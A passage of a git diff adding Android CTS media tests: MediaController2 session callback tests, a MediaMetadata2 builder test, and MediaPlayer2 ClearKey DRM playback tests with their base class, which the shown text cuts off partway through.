+ public void testControllerCallback_sessionRejects() throws InterruptedException {
+ final MediaSession2.SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controller) {
+ return null;
+ }
+ };
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, sessionCallback).build();
+ });
+ MediaController2 controller =
+ createController(mSession.getToken(), false, null);
+ assertNotNull(controller);
+ waitForConnect(controller, false);
+ waitForDisconnect(controller, true);
+ }
+
+ @Test
+ public void testControllerCallback_releaseSession() throws InterruptedException {
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ });
+ waitForDisconnect(mController, true);
+ }
+
+ @Test
+ public void testControllerCallback_release() throws InterruptedException {
+ mController.close();
+ waitForDisconnect(mController, true);
+ }
+
+ @Test
+ public void testPlayFromSearch() throws InterruptedException {
+ final String request = "random query";
+ final Bundle bundle = new Bundle();
+ bundle.putString("key", "value");
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onPlayFromSearch(MediaSession2 session, ControllerInfo controller,
+ String query, Bundle extras) {
+ super.onPlayFromSearch(session, controller, query, extras);
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(request, query);
+ assertTrue(TestUtils.equals(bundle, extras));
+ latch.countDown();
+ }
+ };
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testPlayFromSearch").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.playFromSearch(request, bundle);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testPlayFromUri() throws InterruptedException {
+ final Uri request = Uri.parse("foo://boo");
+ final Bundle bundle = new Bundle();
+ bundle.putString("key", "value");
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onPlayFromUri(MediaSession2 session, ControllerInfo controller, Uri uri,
+ Bundle extras) {
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(request, uri);
+ assertTrue(TestUtils.equals(bundle, extras));
+ latch.countDown();
+ }
+ };
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testPlayFromUri").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.playFromUri(request, bundle);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testPlayFromMediaId() throws InterruptedException {
+ final String request = "media_id";
+ final Bundle bundle = new Bundle();
+ bundle.putString("key", "value");
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onPlayFromMediaId(MediaSession2 session, ControllerInfo controller,
+ String mediaId, Bundle extras) {
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(request, mediaId);
+ assertTrue(TestUtils.equals(bundle, extras));
+ latch.countDown();
+ }
+ };
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testPlayFromMediaId").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.playFromMediaId(request, bundle);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testPrepareFromSearch() throws InterruptedException {
+ final String request = "random query";
+ final Bundle bundle = new Bundle();
+ bundle.putString("key", "value");
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onPrepareFromSearch(MediaSession2 session, ControllerInfo controller,
+ String query, Bundle extras) {
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(request, query);
+ assertTrue(TestUtils.equals(bundle, extras));
+ latch.countDown();
+ }
+ };
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testPrepareFromSearch").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.prepareFromSearch(request, bundle);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testPrepareFromUri() throws InterruptedException {
+ final Uri request = Uri.parse("foo://boo");
+ final Bundle bundle = new Bundle();
+ bundle.putString("key", "value");
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onPrepareFromUri(MediaSession2 session, ControllerInfo controller, Uri uri,
+ Bundle extras) {
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(request, uri);
+ assertTrue(TestUtils.equals(bundle, extras));
+ latch.countDown();
+ }
+ };
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testPrepareFromUri").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.prepareFromUri(request, bundle);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testPrepareFromMediaId() throws InterruptedException {
+ final String request = "media_id";
+ final Bundle bundle = new Bundle();
+ bundle.putString("key", "value");
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onPrepareFromMediaId(MediaSession2 session, ControllerInfo controller,
+ String mediaId, Bundle extras) {
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(request, mediaId);
+ assertTrue(TestUtils.equals(bundle, extras));
+ latch.countDown();
+ }
+ };
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testPrepareFromMediaId").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.prepareFromMediaId(request, bundle);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testSetRating() throws InterruptedException {
+ final int ratingType = Rating2.RATING_5_STARS;
+ final float ratingValue = 3.5f;
+ final Rating2 rating = Rating2.newStarRating(ratingType, ratingValue);
+ final String mediaId = "media_id";
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onSetRating(MediaSession2 session, ControllerInfo controller,
+ String mediaIdOut, Rating2 ratingOut) {
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(mediaId, mediaIdOut);
+ assertEquals(rating, ratingOut);
+ latch.countDown();
+ }
+ };
+
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testSetRating").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.setRating(mediaId, rating);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testIsConnected() throws InterruptedException {
+ assertTrue(mController.isConnected());
+ sHandler.postAndSync(()->{
+ mSession.close();
+ });
+ // postAndSync() to wait until the disconnection is propagated.
+ sHandler.postAndSync(()->{
+ assertFalse(mController.isConnected());
+ });
+ }
+
+ /**
+ * Test potential deadlock for calls between controller and session.
+ */
+ @Test
+ public void testDeadlock() throws InterruptedException {
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ mSession = null;
+ });
+
+ // Two more threads are needed not to block test thread nor test wide thread (sHandler).
+ final HandlerThread sessionThread = new HandlerThread("testDeadlock_session");
+ final HandlerThread testThread = new HandlerThread("testDeadlock_test");
+ sessionThread.start();
+ testThread.start();
+ final SyncHandler sessionHandler = new SyncHandler(sessionThread.getLooper());
+ final Handler testHandler = new Handler(testThread.getLooper());
+ final CountDownLatch latch = new CountDownLatch(1);
+ try {
+ final MockPlayer player = new MockPlayer(0);
+ sessionHandler.postAndSync(() -> {
+ mSession = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+ .setId("testDeadlock").build();
+ });
+ final MediaController2 controller = createController(mSession.getToken());
+ testHandler.post(() -> {
+ final int state = MediaPlayerBase.PLAYER_STATE_ERROR;
+ for (int i = 0; i < 100; i++) {
+ // triggers call from session to controller.
+ player.notifyPlaybackState(state);
+ // triggers call from controller to session.
+ controller.play();
+
+ // Repeat above
+ player.notifyPlaybackState(state);
+ controller.pause();
+ player.notifyPlaybackState(state);
+ controller.stop();
+ player.notifyPlaybackState(state);
+ controller.skipToNextItem();
+ player.notifyPlaybackState(state);
+ controller.skipToPreviousItem();
+ }
+ // This may hang if deadlock happens.
+ latch.countDown();
+ });
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } finally {
+ if (mSession != null) {
+ sessionHandler.postAndSync(() -> {
+ // Clean up here because sessionHandler will be removed afterwards.
+ mSession.close();
+ mSession = null;
+ });
+ }
+ if (sessionThread != null) {
+ sessionThread.quitSafely();
+ }
+ if (testThread != null) {
+ testThread.quitSafely();
+ }
+ }
+ }
+
+ @Test
+ public void testGetServiceToken() {
+ SessionToken2 token = TestUtils.getServiceToken(mContext, MockMediaSessionService2.ID);
+ assertNotNull(token);
+ assertEquals(mContext.getPackageName(), token.getPackageName());
+ assertEquals(MockMediaSessionService2.ID, token.getId());
+ assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+ }
+
+ @Test
+ public void testConnectToService_sessionService() throws InterruptedException {
+ testConnectToService(MockMediaSessionService2.ID);
+ }
+
+ @Ignore
+ @Test
+ public void testConnectToService_libraryService() throws InterruptedException {
+ testConnectToService(MockMediaLibraryService2.ID);
+ }
+
+ public void testConnectToService(String id) throws InterruptedException {
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(@NonNull MediaSession2 session,
+ @NonNull ControllerInfo controller) {
+ if (Process.myUid() == controller.getUid()) {
+ if (mSession != null) {
+ mSession.close();
+ }
+ mSession = session;
+ mPlayer = (MockPlayer) session.getPlayer();
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertFalse(controller.isTrusted());
+ latch.countDown();
+ }
+ return super.onConnect(session, controller);
+ }
+ };
+ TestServiceRegistry.getInstance().setSessionCallback(sessionCallback);
+
+ mController = createController(TestUtils.getServiceToken(mContext, id));
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ // Test command from controller to session service
+ mController.play();
+ assertTrue(mPlayer.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mPlayer.mPlayCalled);
+
+ // Test command from session service to controller
+ // TODO(jaewan): Add equivalent tests again
+ /*
+ final CountDownLatch latch = new CountDownLatch(1);
+ mController.registerPlayerEventCallback((state) -> {
+ assertNotNull(state);
+ assertEquals(PlaybackState.STATE_REWINDING, state.getState());
+ latch.countDown();
+ }, sHandler);
+ mPlayer.notifyPlaybackState(
+ TestUtils.createPlaybackState(PlaybackState.STATE_REWINDING));
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ */
+ }
+
+ @Test
+ public void testControllerAfterSessionIsGone_session() throws InterruptedException {
+ testControllerAfterSessionIsGone(mSession.getToken().getId());
+ }
+
+ // TODO(jaewan): Re-enable this test
+ @Ignore
+ @Test
+ public void testControllerAfterSessionIsGone_sessionService() throws InterruptedException {
+ /*
+ connectToService(TestUtils.getServiceToken(mContext, MockMediaSessionService2.ID));
+ testControllerAfterSessionIsGone(MockMediaSessionService2.ID);
+ */
+ }
+
+ @Test
+ public void testClose_beforeConnected() throws InterruptedException {
+ MediaController2 controller =
+ createController(mSession.getToken(), false, null);
+ controller.close();
+ }
+
+ @Test
+ public void testClose_twice() {
+ mController.close();
+ mController.close();
+ }
+
+ @Test
+ public void testClose_session() throws InterruptedException {
+ final String id = mSession.getToken().getId();
+ mController.close();
+ // close is done immediately for session.
+ testNoInteraction();
+
+ // Test whether the controller is notified about later close of the session or
+ // re-creation.
+ testControllerAfterSessionIsGone(id);
+ }
+
+ @Test
+ public void testClose_sessionService() throws InterruptedException {
+ testCloseFromService(MockMediaSessionService2.ID);
+ }
+
+ @Test
+ public void testClose_libraryService() throws InterruptedException {
+ testCloseFromService(MockMediaLibraryService2.ID);
+ }
+
+ private void testCloseFromService(String id) throws InterruptedException {
+ final CountDownLatch latch = new CountDownLatch(1);
+ TestServiceRegistry.getInstance().setSessionServiceCallback(new SessionServiceCallback() {
+ @Override
+ public void onDestroyed() {
+ latch.countDown();
+ }
+ });
+ mController = createController(TestUtils.getServiceToken(mContext, id));
+ mController.close();
+ // Wait until close triggers onDestroy() of the session service.
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertNull(TestServiceRegistry.getInstance().getServiceInstance());
+ testNoInteraction();
+
+ // Test whether the controller is notified about later close of the session or
+ // re-creation.
+ testControllerAfterSessionIsGone(id);
+ }
+
+ private void testControllerAfterSessionIsGone(final String id) throws InterruptedException {
+ sHandler.postAndSync(() -> {
+ // TODO(jaewan): Use Session.close later when we add the API.
+ mSession.close();
+ });
+ waitForDisconnect(mController, true);
+ testNoInteraction();
+
+ // Ensure that the controller cannot use newly create session with the same ID.
+ sHandler.postAndSync(() -> {
+ // Recreated session has different session stub, so previously created controller
+ // shouldn't be available.
+ mSession = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+ .setId(id).build();
+ });
+ testNoInteraction();
+ }
+
+ private void testNoInteraction() throws InterruptedException {
+ // TODO: Uncomment
+ /*
+ final CountDownLatch latch = new CountDownLatch(1);
+ final PlayerEventCallback callback = new PlayerEventCallback() {
+ @Override
+ public void onPlaybackStateChanged(PlaybackState2 state) {
+ fail("Controller shouldn't be notified about change in session after the close.");
+ latch.countDown();
+ }
+ };
+ */
+
+ // TODO(jaewan): Add equivalent tests again
+ /*
+ mController.registerPlayerEventCallback(playbackListener, sHandler);
+ mPlayer.notifyPlaybackState(TestUtils.createPlaybackState(PlaybackState.STATE_BUFFERING));
+ assertFalse(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ mController.unregisterPlayerEventCallback(playbackListener);
+ */
+ }
+
+ // TODO(jaewan): Add test for service connect rejection, when we differentiate session
+ // active/inactive and connection accept/refuse
+
+ class TestVolumeProvider extends VolumeProvider2 {
+ final CountDownLatch mLatch = new CountDownLatch(1);
+ boolean mSetVolumeToCalled;
+ boolean mAdjustVolumeCalled;
+ int mVolume;
+ int mDirection;
+
+ public TestVolumeProvider(int controlType, int maxVolume, int currentVolume) {
+ super(controlType, maxVolume, currentVolume);
+ }
+
+ @Override
+ public void onSetVolumeTo(int volume) {
+ mSetVolumeToCalled = true;
+ mVolume = volume;
+ mLatch.countDown();
+ }
+
+ @Override
+ public void onAdjustVolume(int direction) {
+ mAdjustVolumeCalled = true;
+ mDirection = direction;
+ mLatch.countDown();
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
index 43c02f4..c504c4b 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
@@ -15,8 +15,6 @@
*/
package android.media.cts;
-import android.app.ActivityManager;
-import android.content.Context;
import android.content.pm.PackageManager;
import android.media.CamcorderProfile;
import android.media.MediaCodecInfo.CodecCapabilities;
@@ -530,10 +528,6 @@
}
public void testClearKeyPlaybackMpeg2ts() throws Exception {
- Log.e(TAG, "testClearKeyPlaybackMpeg2ts - check before return ");
- if (isLowRam()&& !isTV())
- return;
- Log.e(TAG, "testClearKeyPlaybackMpeg2ts - check after return ");
testClearKeyPlayback(
CLEARKEY_SCHEME_UUID,
MIME_VIDEO_AVC, new String[0],
@@ -1002,13 +996,4 @@
}
return false;
}
-
- private boolean isTV() {
- return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY);
- }
-
- private boolean isLowRam() {
- ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
- return am.isLowRamDevice();
- }
}
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java b/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java
new file mode 100644
index 0000000..7c9f5b5
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+
+import android.media.MediaMetadata2;
+import android.media.MediaMetadata2.Builder;
+import android.media.Rating2;
+import android.os.Bundle;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+public class MediaMetadata2Test {
+ @Test
+ public void testBuilder() {
+ final Bundle extras = new Bundle();
+ extras.putString("MediaMetadata2Test", "testBuilder");
+ final String title = "title";
+ final long discNumber = 10;
+ final Rating2 rating = Rating2.newThumbRating(true);
+
+ Builder builder = new Builder();
+ builder.setExtras(extras);
+ builder.putString(MediaMetadata2.METADATA_KEY_DISPLAY_TITLE, title);
+ builder.putLong(MediaMetadata2.METADATA_KEY_DISC_NUMBER, discNumber);
+ builder.putRating(MediaMetadata2.METADATA_KEY_USER_RATING, rating);
+
+ MediaMetadata2 metadata = builder.build();
+ assertTrue(TestUtils.equals(extras, metadata.getExtras()));
+ assertEquals(title, metadata.getString(MediaMetadata2.METADATA_KEY_DISPLAY_TITLE));
+ assertEquals(discNumber, metadata.getLong(MediaMetadata2.METADATA_KEY_DISC_NUMBER));
+ assertEquals(rating, metadata.getRating(MediaMetadata2.METADATA_KEY_USER_RATING));
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTest.java b/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTest.java
new file mode 100644
index 0000000..56a4ed6
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTest.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.Manifest;
+import android.net.Uri;
+import android.os.Build;
+import android.os.Environment;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SdkSuppress;
+import androidx.test.rule.GrantPermissionRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+/**
+ * Tests for the MediaPlayer2 API and local video/audio playback.
+ *
+ * The files in res/raw used by testLocalVideo* are (c) copyright 2008,
+ * Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
+ * Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
+ */
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.P)
+@AppModeFull(reason = "Instant apps cannot hold READ/WRITE_EXTERNAL_STORAGE")
+public class MediaPlayer2DrmTest extends MediaPlayer2DrmTestBase {
+
+ private static final String LOG_TAG = "MediaPlayer2DrmTest";
+
+ @Rule
+ public GrantPermissionRule mRuntimePermissionRule =
+ GrantPermissionRule.grant(Manifest.permission.WRITE_EXTERNAL_STORAGE);
+
+ @Before
+ @Override
+ public void setUp() throws Throwable {
+ super.setUp();
+ }
+
+ @After
+ @Override
+ public void tearDown() throws Throwable {
+ super.tearDown();
+ }
+
+
+ //////////////////////////////////////////////////////////////////////////////////////////////
+ // Asset helpers
+
+ private static Uri getUriFromFile(String path) {
+ return Uri.fromFile(new File(getDownloadedPath(path)));
+ }
+
+ private static String getDownloadedPath(String fileName) {
+ return getDownloadedFolder() + File.separator + fileName;
+ }
+
+ private static String getDownloadedFolder() {
+ return Environment.getExternalStoragePublicDirectory(
+ Environment.DIRECTORY_DOWNLOADS).getPath();
+ }
+
+ private static final class Resolution {
+ public final boolean isHD;
+ public final int width;
+ public final int height;
+
+ Resolution(boolean isHD, int width, int height) {
+ this.isHD = isHD;
+ this.width = width;
+ this.height = height;
+ }
+ }
+
+ private static final Resolution RES_720P = new Resolution(true, 1280, 720);
+ private static final Resolution RES_AUDIO = new Resolution(false, 0, 0);
+
+
+ // Assets
+
+ private static final Uri CENC_AUDIO_URL = Uri.parse(
+ "https://storage.googleapis.com/wvmedia/cenc/clearkey/car_cenc-20120827-8c-pssh.mp4");
+ private static final Uri CENC_AUDIO_URL_DOWNLOADED = getUriFromFile("car_cenc-20120827-8c.mp4");
+
+ private static final Uri CENC_VIDEO_URL = Uri.parse(
+ "https://storage.googleapis.com/wvmedia/cenc/clearkey/car_cenc-20120827-88-pssh.mp4");
+ private static final Uri CENC_VIDEO_URL_DOWNLOADED = getUriFromFile("car_cenc-20120827-88.mp4");
+
+
+ // Tests
+
+ @Test
+ @LargeTest
+ public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V0_SYNC() throws Exception {
+ download(CENC_AUDIO_URL,
+ CENC_AUDIO_URL_DOWNLOADED,
+ RES_AUDIO,
+ ModularDrmTestType.V0_SYNC_TEST);
+ }
+
+ @Test
+ @LargeTest
+ public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V1_ASYNC() throws Exception {
+ download(CENC_AUDIO_URL,
+ CENC_AUDIO_URL_DOWNLOADED,
+ RES_AUDIO,
+ ModularDrmTestType.V1_ASYNC_TEST);
+ }
+
+ @Test
+ @LargeTest
+ public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V2_SYNC_CONFIG() throws Exception {
+ download(CENC_AUDIO_URL,
+ CENC_AUDIO_URL_DOWNLOADED,
+ RES_AUDIO,
+ ModularDrmTestType.V2_SYNC_CONFIG_TEST);
+ }
+
+ @Test
+ @LargeTest
+ public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V3_ASYNC_DRMPREPARED() throws Exception {
+ download(CENC_AUDIO_URL,
+ CENC_AUDIO_URL_DOWNLOADED,
+ RES_AUDIO,
+ ModularDrmTestType.V3_ASYNC_DRMPREPARED_TEST);
+ }
+
+ // helpers
+
+ private void stream(Uri uri, Resolution res, ModularDrmTestType testType) throws Exception {
+ playModularDrmVideo(uri, res.width, res.height, testType);
+ }
+
+ private void download(Uri remote, Uri local, Resolution res, ModularDrmTestType testType)
+ throws Exception {
+ playModularDrmVideoDownload(remote, local, res.width, res.height, testType);
+ }
+
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTestBase.java
new file mode 100644
index 0000000..d8d5cb8
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTestBase.java
@@ -0,0 +1,1019 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import static android.content.Context.KEYGUARD_SERVICE;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.DownloadManager;
+import android.app.DownloadManager.Request;
+import android.app.Instrumentation;
+import android.app.KeyguardManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.res.Resources;
+import android.media.MediaDrm;
+import android.media.ResourceBusyException;
+import android.media.UnsupportedSchemeException;
+import android.media.cts.TestUtils.Monitor;
+import android.net.Uri;
+import android.os.PowerManager;
+import android.os.SystemClock;
+import android.util.Base64;
+import android.util.Log;
+import android.view.SurfaceHolder;
+import android.view.WindowManager;
+
+import androidx.annotation.CallSuper;
+import androidx.media.DataSourceDesc;
+import androidx.media.MediaPlayer2;
+import androidx.media.MediaPlayer2.DrmInfo;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.nio.charset.Charset;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.UUID;
+import java.util.Vector;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+/**
+ * Base class for DRM tests which use MediaPlayer2 to play audio or video.
+ */
+public class MediaPlayer2DrmTestBase {
+ protected static final int STREAM_RETRIES = 3;
+
+ protected Monitor mSetDataSourceCallCompleted = new Monitor();
+ protected Monitor mOnPreparedCalled = new Monitor();
+ protected Monitor mOnVideoSizeChangedCalled = new Monitor();
+ protected Monitor mOnPlaybackCompleted = new Monitor();
+ protected Monitor mOnDrmInfoCalled = new Monitor();
+ protected Monitor mOnDrmPreparedCalled = new Monitor();
+ protected int mCallStatus = MediaPlayer2.CALL_STATUS_NO_ERROR;
+
+ protected Context mContext;
+ protected Resources mResources;
+
+ protected MediaPlayer2 mPlayer = null;
+ protected MediaStubActivity mActivity;
+ protected Instrumentation mInstrumentation;
+
+ protected ExecutorService mExecutor;
+ protected MediaPlayer2.EventCallback mECb = null;
+
+ @Rule
+ public ActivityTestRule<MediaStubActivity> mActivityRule =
+ new ActivityTestRule<>(MediaStubActivity.class);
+ public PowerManager.WakeLock mScreenLock;
+ private KeyguardManager mKeyguardManager;
+
+ @Before
+ @CallSuper
+ public void setUp() throws Throwable {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mKeyguardManager = (KeyguardManager)
+ mInstrumentation.getTargetContext().getSystemService(KEYGUARD_SERVICE);
+ mActivity = mActivityRule.getActivity();
+ mActivityRule.runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ // Keep screen on while testing.
+ mActivity.getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+ mActivity.setTurnScreenOn(true);
+ mActivity.setShowWhenLocked(true);
+ mKeyguardManager.requestDismissKeyguard(mActivity, null);
+ }
+ });
+ mInstrumentation.waitForIdleSync();
+
+ try {
+ mActivityRule.runOnUiThread(new Runnable() {
+ public void run() {
+ mPlayer = MediaPlayer2.create();
+ }
+ });
+ } catch (Throwable e) {
+ e.printStackTrace();
+ fail();
+ }
+
+ mContext = mInstrumentation.getTargetContext();
+ mResources = mContext.getResources();
+
+ mExecutor = Executors.newFixedThreadPool(1);
+ }
+
+ @After
+ @CallSuper
+ public void tearDown() throws Throwable {
+ if (mPlayer != null) {
+ mPlayer.close();
+ mPlayer = null;
+ }
+ mExecutor.shutdown();
+ mActivity = null;
+ }
+
+ private static class PrepareFailedException extends Exception {}
+
+ //////////////////////////////////////////////////////////////////////////////////////////
+ // Modular DRM
+
+ private static final String TAG = "MediaPlayer2DrmTestBase";
+
+ protected static final int PLAY_TIME_MS = 60 * 1000;
+ protected byte[] mKeySetId;
+ protected boolean mAudioOnly;
+
+ private static final byte[] CLEAR_KEY_CENC = {
+ (byte) 0x1a, (byte) 0x8a, (byte) 0x20, (byte) 0x95,
+ (byte) 0xe4, (byte) 0xde, (byte) 0xb2, (byte) 0xd2,
+ (byte) 0x9e, (byte) 0xc8, (byte) 0x16, (byte) 0xac,
+ (byte) 0x7b, (byte) 0xae, (byte) 0x20, (byte) 0x82
+ };
+
+ private static final UUID CLEARKEY_SCHEME_UUID =
+ new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
+
+ final byte[] mClearKeyPssh = hexStringToByteArray(
+ "0000003470737368" // BMFF box header (4 bytes size + 'pssh')
+ + "01000000" // Full box header (version = 1 flags = 0)
+ + "1077efecc0b24d02" // SystemID
+ + "ace33c1e52e2fb4b"
